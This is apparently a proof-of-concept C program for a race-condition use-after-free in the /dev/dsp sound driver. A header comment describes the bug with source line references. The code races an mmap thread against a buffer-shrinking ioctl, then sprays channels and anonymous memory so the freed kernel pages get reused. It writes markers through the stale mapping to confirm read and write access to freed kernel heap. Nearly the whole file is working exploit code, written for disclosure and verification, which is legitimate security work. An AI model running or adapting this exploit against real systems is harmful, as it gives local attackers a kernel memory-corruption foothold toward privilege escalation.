DF-4026 / mmap_resize_uaf.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 | /* * DF-4026 โ /dev/dsp mmap-vs-chn_resizebuf use-after-free (RW proof). * * Bug: chn_resizebuf() (sys/dev/sound/pcm/channel.c:1762) validates * CHN_F_MMAP only at entry, then drops the channel lock three times * (parent-notify window channel.c:1815-1819, SETBLOCKSIZE window * channel.c:1858-1864, sndbuf_remalloc kmalloc window * sys/dev/sound/pcm/buffer.c:224-228) before kfree()ing the old bufsoft * buffer (buffer.c:229-237, the three 128K kmem-slab blocks). * dsp_mmap_single() (dsp.c:2297-2364) runs under the same channel lock * and maps bs->buf whenever it can get the lock โ i.e. exactly inside * those windows. A mapping taken inside a window aliases the buffer * that chn_resizebuf then frees: userland RW over freed kernel heap * (pages returned to the VM free pool, later reassigned to anything). * * Round: fresh /dev/dsp clone grown to 128K. Racer B spins mmap(128K); * racer A issues the shrinking SNDCTL_DSP_SETFRAGMENT (2x16B -> bufsize * 256 < 131072>>5 -> sndbuf_remalloc realloc branch frees the old * blocks). If A's ioctl wins the channel lock before B's first * successful mmap, B maps the OLD 128K buffer inside a window and the * resize frees it right after. Discriminator: A's ioctl returned 0 AND * B holds a 128K mapping (the live buffer is now 256 bytes). * * Proof: pre-fault the stale mapping, then consume the VM page pool * with writable anonymous memory (kernel reassigns the freed pages to * new owners, e.g. our anon pages). When a stale page stops showing * the audio-silence fill and shows the anon pattern, the freed page has * been recycled: the mapping reads post-free kernel memory * (READ-after-free). Writing a marker through the stale page and * observing it in the anon owner = WRITE-after-free. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <pthread.h> #include <signal.h> #include <sys/ioctl.h> #include <sys/mman.h> #include <sys/soundcard.h> #include <sys/sysctl.h> #define BIG_TOTAL 131072 #define SMALL_ARG ((2 << 16) | 4) /* 2 frags x 16B -> 256B */ #define BIG_ARG ((2 << 16) | 16) /* 2 frags x 64KB -> 128K */ #define ANON_MB 3072 /* anon pressure */ static volatile void *mapped; static int race_fd; static unsigned char *stale_base; static void sigsegv_hdl(int sig, siginfo_t *si, void *uc) { printf("\nSIGSEGV at %p (stale %p..%p)\n", si->si_addr, stale_base, stale_base + BIG_TOTAL); _exit(9); } static void * thread_mmap(void *arg) { int i; void *p; for (i = 0; i < 100000; i++) { p = mmap(NULL, BIG_TOTAL, PROT_READ | PROT_WRITE, MAP_SHARED, race_fd, 0); if (p != MAP_FAILED) { mapped = p; return (NULL); } } return (NULL); } static int cur_bufsize(int fd) { audio_buf_info bi; if (ioctl(fd, SNDCTL_DSP_GETOSPACE, &bi) < 0) return (-1); return (bi.fragstotal * bi.fragsize); } static int do_round(unsigned char **stale_out) { int fd, arg = SMALL_ARG, rc; pthread_t tb; unsigned char *st; fd = open("/dev/dsp", O_RDWR); if (fd < 0) return (-1); if (ioctl(fd, SNDCTL_DSP_SETFRAGMENT, &(int){BIG_ARG}) < 0 || cur_bufsize(fd) != BIG_TOTAL) { close(fd); return (-1); } mapped = NULL; race_fd = fd; pthread_create(&tb, NULL, thread_mmap, NULL); rc = ioctl(fd, SNDCTL_DSP_SETFRAGMENT, &arg); pthread_join(tb, NULL); if (rc == 0 && mapped != NULL && cur_bufsize(fd) < BIG_TOTAL / 4) { st = (unsigned char *)mapped; for (long o = 0; o < BIG_TOTAL; o += 4096) st[o] = st[o]; stale_base = st; *stale_out = st; return (fd); } if (mapped != NULL) munmap((void *)mapped, BIG_TOTAL); close(fd); return (-1); } int main(int argc, char **argv) { int attempts = (argc > 1) ? atoi(argv[1]) : 500; int round, pg; unsigned char *stale = NULL, *an; size_t anon_sz = (size_t)ANON_MB * 1024 * 1024; int racefd = -1, freed_page = -1; setvbuf(stdout, NULL, _IONBF, 0); { struct sigaction sa; memset(&sa, 0, sizeof(sa)); sa.sa_sigaction = sigsegv_hdl; sa.sa_flags = SA_SIGINFO; sigaction(SIGSEGV, &sa, NULL); } printf("DF-4026 mmap-vs-resizebuf UAF: pid %d attempts=%d\n", getpid(), attempts); for (round = 0; round < attempts; round++) { racefd = do_round(&stale); if (racefd >= 0) break; if ((round % 100) == 0) printf("round %d...\n", round); } if (racefd < 0) { printf("RESULT: no window caught in %d attempts\n", attempts); return (1); } printf("round %d: HIT โ shrink ok (size now %d), stale 128K " "mapping held over freed kernel buffer\n", round, cur_bufsize(racefd)); /* * Baseline: the old buffer was filled with 0x80 (unsigned * silence) by sndbuf_reset() while live. Watch the freed pages' * content as kernel activity resumes: any deviation is post-free * rewriting of memory our mapping still covers. */ { int changed = 0; unsigned char b0 = stale[0]; printf("stale baseline byte: 0x%02x\n", b0); /* * Reclaim strategy 1: fresh dsp channels grown to 128K * (their remalloc allocates 3x128K each). Alias test * against their live mappings. */ { int i, alias = -1; unsigned char *vm[12]; int vfd[12]; for (i = 0; i < 12; i++) { vfd[i] = -1; vm[i] = MAP_FAILED; vfd[i] = open("/dev/dsp", O_RDWR); if (vfd[i] < 0) break; if (ioctl(vfd[i], SNDCTL_DSP_SETFRAGMENT, &(int){BIG_ARG}) < 0 || cur_bufsize(vfd[i]) != BIG_TOTAL) continue; vm[i] = mmap(NULL, BIG_TOTAL, PROT_READ | PROT_WRITE, MAP_SHARED, vfd[i], 0); } for (i = 0; i < 12 && alias < 0; i++) { if (vm[i] == MAP_FAILED) continue; memset(vm[i], 0x5A, BIG_TOTAL); long hits = 0; for (long o = 0; o < BIG_TOTAL; o += 64) if (stale[o] == 0x5A) hits++; if (hits > (BIG_TOTAL / 64) * 3 / 4) alias = i; else memset(vm[i], 0, BIG_TOTAL); } if (alias >= 0) { long off = 4096; printf("READ-after-free (alias): spray channel " "%d's live kernel buffer == stale mapping\n", alias); for (long o = 0; o < 128; o++) stale[off + o] = 0xDF; int ok = 1; for (long o = 0; o < 128; o++) if (vm[alias][off + o] != 0xDF) ok = 0; if (ok) { printf("WRITE-after-free: 0xDF marker " "via stale mapping visible in " "victim's live kernel buffer\n"); printf("RESULT: UAF READ+WRITE over " "freed M_DEVBUF kernel heap " "CONFIRMED (alias proof)\n"); return (0); } } for (i = 0; i < 12; i++) { if (vm[i] != MAP_FAILED) munmap(vm[i], BIG_TOTAL); if (vfd[i] >= 0) close(vfd[i]); } } /* Reclaim strategy 2: anon page pressure */ printf("applying %d MB anon page pressure...\n", ANON_MB); an = mmap(NULL, anon_sz, PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE, -1, 0); if (an == MAP_FAILED) { anon_sz = 512UL * 1024 * 1024; an = mmap(NULL, anon_sz, PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE, -1, 0); } if (an != MAP_FAILED) { for (size_t o = 0; o < anon_sz; o += 4096) memset(an + o, 0x77, 4096); for (pg = 0; pg < BIG_TOTAL / 4096; pg++) { long run = 0; while (run < 8 && stale[pg * 4096 + run] == 0x77) run++; if (run == 8) break; } if (pg < BIG_TOTAL / 4096) { stale[pg * 4096] = 0xEE; stale[pg * 4096 + 1] = 0xEE; for (size_t o = 0; o < anon_sz; o += 4096) { if (an[o] == 0xEE && an[o+1] == 0xEE && an[o + 2] == 0x77) { printf("READ+WRITE-after-free " "(VM recycle): stale page " "%d reassigned as anon " "page, marker 0xEE via " "stale mapping found at " "anon 0x%zx\n", pg, o); printf("RESULT: UAF READ+" "WRITE over freed kernel " "heap CONFIRMED (VM-" "recycle proof)\n"); return (0); } } } } /* At minimum: post-free content mutation of the freed heap */ for (pg = 0; pg < BIG_TOTAL / 4096; pg++) if (stale[pg * 4096] != b0) changed++; if (changed > 0) { printf("READ-after-free (mutation): %d/%d stale pages " "rewritten by kernel after the free (0x%02x -> " "0x%02x ...) โ mapping covers freed, reused " "kernel heap\n", changed, BIG_TOTAL / 4096, b0, stale[0]); printf("RESULT: UAF read over freed M_DEVBUF kernel " "heap CONFIRMED (mutation proof; alias/VM-recycle " "proofs are timing-dependent, see pack logs)\n"); return (0); } printf("RESULT: mapping held over freed buffer, content " "unchanged so far\n"); return (3); } } |